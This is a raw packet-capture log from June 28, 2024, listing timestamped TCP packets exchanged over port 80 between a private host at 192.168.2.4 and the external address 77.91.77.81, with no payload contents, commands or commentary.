Jun 28, 2024 22:32:13.520366907 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520378113 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520386934 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520392895 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520399094 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520410061 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520412922 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520421028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520431995 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520437956 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520437956 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520443916 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520457029 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520467997 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520495892 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520669937 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520680904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520690918 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520699024 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520713091 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520840883 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520853043 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520862103 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520869017 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520873070 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520883083 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520883083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520895958 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520905972 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520908117 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520916939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520920038 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520926952 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520937920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520941973 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520951033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520963907 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520967007 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.520992994 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.520992994 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521348953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521361113 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521370888 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521379948 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521380901 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521392107 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521401882 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521434069 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521434069 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521662951 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521672964 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521682978 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521693945 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521703005 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521709919 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521713972 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521725893 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521735907 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521740913 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521740913 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521748066 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521756887 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521769047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521775961 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521785975 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521795034 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521799088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521814108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521814108 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521821022 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521825075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521835089 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521846056 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.521850109 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.521871090 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.522094965 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.579952002 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.579972982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.579986095 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580009937 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580086946 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580097914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580105066 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580110073 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580120087 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580132961 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580164909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580164909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580259085 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580271006 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580281019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580291033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580338955 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580338955 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580399990 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580410004 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580420017 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580461025 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580461025 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580852032 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580863953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580874920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580913067 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580949068 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580960035 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580969095 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580977917 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.580980062 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580991983 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.580993891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581005096 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581015110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581022024 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581029892 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581072092 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581201077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581212044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581222057 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581232071 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581248045 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581269979 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581269979 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581350088 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581361055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581371069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581381083 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581392050 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581401110 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581412077 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581461906 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.581485033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581531048 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581540108 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.581721067 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.606676102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.606717110 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.606728077 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.606750965 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.606791019 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.606851101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.606861115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.606870890 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.606880903 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.606898069 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.606976032 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.606993914 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607003927 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607013941 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607022047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607040882 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.607060909 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.607062101 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.607209921 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607223988 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607235909 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607243061 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607253075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607264042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607278109 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607285976 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.607290030 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607299089 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.607316971 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.607400894 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.607415915 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607425928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607464075 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607474089 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.607490063 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.607717037 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611216068 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611268997 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611279964 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611363888 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611423969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611433983 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611443996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611454010 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611465931 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611479044 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611490965 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611569881 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611574888 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611582041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611637115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611646891 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611656904 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611676931 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611733913 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611762047 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611773014 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611783028 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611793041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611802101 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611812115 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611843109 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611843109 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611857891 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.611984015 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.611994982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612140894 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612149954 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612164021 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612166882 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612174034 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612185955 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612195969 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612195969 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612205029 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612206936 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612212896 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612220049 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612230062 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612240076 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612247944 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612247944 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612267971 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612441063 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612452030 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612457037 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612462997 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612473011 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612492085 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612502098 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612504005 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612520933 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612560987 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612587929 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612617016 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612628937 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612638950 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612644911 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612663984 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612771034 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612847090 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612858057 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612867117 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612876892 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612893105 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612893105 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612905025 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612915993 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612925053 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612925053 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612926006 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612936974 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612936974 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612951040 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.612965107 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.612965107 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.613044977 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.613353968 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613364935 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613373995 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613384008 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613394976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613404036 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613405943 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.613419056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.613486052 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.613620996 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613631010 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613646984 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613656044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.613676071 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.613719940 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.670619965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670705080 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670712948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670728922 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670737982 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670758963 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.670758963 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.670788050 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670799017 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670815945 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.670855999 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670865059 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.670885086 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.671067953 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671078920 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671097040 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.671133041 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671143055 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671154976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671158075 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.671166897 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671179056 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.671303988 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.671331882 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671519041 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.671730042 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671760082 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671772957 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671823978 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.671823978 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.671927929 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671938896 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671950102 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671966076 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.671988010 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672102928 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672118902 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672121048 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672137976 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672147989 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672152042 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672159910 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672171116 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672174931 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672183037 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672195911 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672379971 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672389030 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672399044 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672405005 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672425032 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672426939 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672439098 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672451019 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672461033 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.672466040 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672499895 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.672627926 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697222948 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697267056 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697277069 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697319031 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697329998 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697330952 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697330952 CEST	49732	80	192.168.2.4	77.91.77.81
Jun 28, 2024 22:32:13.697340965 CEST	80	49732	77.91.77.81	192.168.2.4
Jun 28, 2024 22:32:13.697350979 CEST	80	49732	77.91.77.81	192.168.2.4
